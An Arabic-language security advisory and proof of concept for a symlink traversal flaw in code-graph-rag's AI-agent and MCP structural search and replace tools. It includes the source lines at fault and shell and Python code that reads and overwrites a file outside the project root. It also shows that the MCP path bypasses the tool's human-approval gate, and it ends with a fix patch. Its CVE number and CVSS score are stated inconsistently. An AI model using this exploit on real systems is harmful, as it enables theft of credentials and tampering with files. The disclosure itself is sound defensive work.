
PoC — تتبع الروابط الرمزية لقراءة/كتابة ملفات عشوائية خارج جذر المشروع في code-graph-rag (GHSA-85gg-2gfq-q95m، CVE-2026-87008، CVSS 7.1).
حالة CVE: مطلوب، بانتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-85gg-2gfq-q95m. عند تعيين CVE، سيُعاد تسمية هذا المستودع إلى
CVE-YYYY-NNNNN-code-graph-rag-PoCوسيُستبدل هذا الشعار برابط CVE.
| الباحث | Dostxodjayev Abdullox (@squeeze440) |
| التنبيه | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (مرتفع) |
| الضعف | CWE-59, CWE-22 |
الملخص
يمكن لمهاجم بعيد/محلي قادر على إدراج رابط رمزي (symbolic link) داخل مستودع شيفرة مصدرية يحلله code-graph-rag أن يتسبب في قيام أداتي structural_search وstructural_replace (المدعومتين بـ AstGrepService، والمكشوفتين كأدوات MCP وكأدوات ذكاء اصطناعي وكيلية) بقراءة — وعبر structural_replace مع dry_run=False — الكتابة فوق ملفات عشوائية خارج جذر المشروع المُهيأ، لأن فحص احتواء المسار في الأداة (should_skip_path/_classify_file) يُنفَّذ معجمياً على المسار غير المُحلَّل ولا يتحقق أبداً من Path.is_symlink() أو يستدعي .resolve()، على عكس مُزخرِف validate_project_path الخاص بالمشروع نفسه (الصحيح) المستخدم في مواضع أخرى.
المنتج
vitali87/code-graph-rag (PyPI: code-graph-rag، CLI: cgr)
الإصدار المُختبَر
الالتزام 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (إصدار pyproject 0.0.550) — الفرع main الحالي وقت الاختبار. تم التأكد من أن هذا الالتزام يحتوي بالفعل على إصلاح التنبيه السابق (GHSA-vvr2-h2jp-838m: اجتياز المسار في read_file المُصفَّح) وبوابة مصادقة bearer الخاصة بـ HTTP-MCP الأحدث (_validate_http_exposure في codebase_rag/mcp/server.py)، لذا فهذه مشكلة منفصلة لا تزال مفتوحة فوق تلك الإصلاحات.
CVSS v3.1 المُقدَّر
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (مرتفع)
المقاييس غير البديهية:
structural_search/structural_replace فعلياً على ذلك المشروع لكي تحدث القراءة/الكتابة.التفاصيل
يدعم AstGrepService (codebase_rag/tools/ast_grep_service.py) كلاً من أداتي structural_search وstructural_replace الخاصة بـ MCP/الوكيل. وهو يُعدِّد الملفات المرشحة باستخدام os.walk() ويمرّر كل مسار فقط عبر should_skip_path():
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — يجول في self.project_root باستخدام os.walk()؛ كل مدخل غير دليل يُرجعه os.walk (بما في ذلك رابط رمزي يشير إلى أي مكان على القرص) يُعامَل كملف داخل النطاق.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — فحص الاحتواء الوحيد هو should_skip_path(...) متبوعاً بـ abs_path.relative_to(self.project_root) (السطر 82)؛ لا يُحلَّل abs_path أبداً، لذا هذا الفحص معجمي/نصي بحت.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) وcodebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — يحسب rel_path = file_path.relative_to(repo_path) دون استدعاء .resolve() أو Path.is_symlink() أبداً. لا شيء في هذه الدالة يعامل الرابط الرمزي بشكل مختلف عن ملف حقيقي.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) يستدعي path.read_text()، الذي يتبعه Python عبر الرابط الرمزي إلى هدفه الحقيقي، أينما كان ذلك الهدف.codebase_rag/tools/ast_grep_service.py:187-208 (replace)، وتحديداً السطر 208 — abs_path.write_text(new_source, ...) عندما يكون dry_run=False، متبعاً الرابط الرمزي مرة أخرى وكاتباً فوق محتوى الملف الهدف الحقيقي.هذا يتعارض مع كيفية تعامل بقية قاعدة الشيفرة مع نفس فئة المخاطر بالضبط. أدوات قراءة/كتابة/تحرير الملفات (file_reader.py، file_writer.py، file_editor.py) كلها محمية بـ validate_project_path (codebase_rag/decorators.py:73-75):
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() يتبع الروابط الرمزية قبل تنفيذ فحص الاحتواء، لذا ترفض تلك الأدوات بشكل صحيح أي هدف خارج الجذر. وتوثّق absolute_path_within_project_root() الخاصة بـ path_utils.py (codebase_rag/utils/path_utils.py:156-176) نفس المبدأ صراحةً في نصها التوثيقي: "استدعاءات resolve() حاملة للحمل: يُفحص الاحتواء معجمياً، لذا فإن مقطع .. غير المُحلَّل أو رابط رمزي سيهرب من الجذر." — لكن should_skip_path()/AstGrepService، المستخدمَين بواسطة structural_search/structural_replace، لا يطبّقان ذلك النمط أبداً.
قابلية الوصول / تعرّض الأداتين:
structural_search (codebase_rag/tools/structural_search.py:24-46) لا يحمل أي علامة requires_approval على الإطلاق — يمكن لنموذج عميل MCP استدعاؤه بشكل مستقل دون أي تأكيد بشري.structural_replace (codebase_rag/tools/structural_editor.py:52-57) مُعلَّم بـ requires_approval=True، لكن تلك العلامة لا يُفرضها إلا حلقة الوكيل الخاصة بـ pydantic-ai. مسار خادم MCP يتجاوزها تماماً: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) يستدعي self._structural_editor_tool.function(...) مباشرةً، وأداة MCP مسجَّلة دون أي مفهوم للموافقة في codebase_rag/mcp/tools.py:369-388 (ToolMetadata الخاصة بـ MCPToolName.STRUCTURAL_REPLACE) — أي عميل MCP قادر على استدعاء الأدوات يمكنه استدعاء structural_replace مع dry_run=False في ضربة واحدة.إثبات المفهوم
تم التأكد ديناميكياً مقابل الحزمة المثبَّتة (تم تزييف mgclient/pymgclient تماماً كما في PoC التنبيه السابق، لأن عميل Memgraph الأصلي غير مطلوب لهذا المسار من الشيفرة).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
مخرجات التشغيل الفعلي (/tmp/poc_venv، الحزمة مثبَّتة عبر pip install --no-deps -e . من الالتزام المُختبَر):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
لا لقطات شاشة — هذا اكتشاف على مستوى المكتبة/CLI بحت دون أي مكوّن متصفح/GUI.
التأثير
أي مشغّل يوجّه cgr (CLI، أو وضع ask_agent الوكيلي، أو أدوات MCP structural_search/structural_replace) نحو مستودع لم يدقّق فيه بالكامل — وهي حالة الاستخدام بالضبط التي بُنيت هذه الأداة من أجلها ("استعلام وفهم وتحرير قواعد شيفرة متعددة اللغات") — يمكن أن يُستخدَم الرابط الرمزي المزروع في ذلك المستودع من أجل:
cgr (بيانات اعتماد، مفاتيح SSH، ملفات .env، شيفرة مشروع مجاور)، عبر structural_search، دون أي بوابة موافقة على الإطلاق.cgr، عبر structural_replace(dry_run=False)، متجاوزاً بوابة الموافقة الخاصة بالأداة عند استدعائها عبر بروتوكول MCP.هذه هي نفس فئة الثغرة "المحتوى الخبيث في قاعدة الشيفرة المُحلَّلة يهرب من project_root" الخاصة بـ GHSA-vvr2-h2jp-838m، لكن بسبب جذري مختلف (غياب تحليل الرابط الرمزي في AstGrepService/should_skip_path، CWE-59) ومصبّ مختلف وأكثر خطورة (كتابة عشوائية، وليس قراءة فقط) في مكوّن مختلف (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py، وليس read_file المُصفَّح في codebase_rag/mcp/tools.py). وهي لا تتقاطع مع نطاقات الأسطر الثغرة أو الإصلاح في التنبيه السابق.
نقاط الضعف
الإصلاح
طبّق نفس نمط التحليل-ثم-الاحتواء المستخدم بالفعل في validate_project_path (codebase_rag/decorators.py:73-75) وabsolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) على should_skip_path. ارفض أي مسار يهرب موقعه المُحلَّل (بعد اتباع الرابط الرمزي) من جذر المشروع المُحلَّل، بدلاً من فحص سلسلة المسار غير المُحلَّلة فقط:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
بشكل ملموس: هذا التغيير الواحد في should_skip_path يُصلح كلاً من _classify_file (البحث) وتصفية os.walk في _iter_source_files (الاستبدال)، لأن كليهما يمرّ عبره. وكدفاع في العمق، يمكن لـ _iter_source_files إضافةً إلى ذلك تخطي المدخلات الرمزية للدلائل مباشرةً (entry.is_symlink()) أثناء os.walk، لأن أداة تحليل شيفرة مدفوعة بالذكاء الاصطناعي لا ينبغي أن تحتاج أبداً إلى التجول خارج الجذر المُفهرَس في المقام الأول.
الفضل
Dostxodjayev Abdullox (GitHub: squeeze440)
قناة الإبلاغ
الإبلاغ الخاص عن الثغرات (PVR) مؤكَّد أنه مُفعَّل على vitali87/code-graph-rag؛ هذا التقرير مُوجَّه للتقديم عبر تلك القناة (GitHub Security Advisories)، بما يتوافق مع التنبيه المنشور الموجود في المستودع (GHSA-vvr2-h2jp-838m).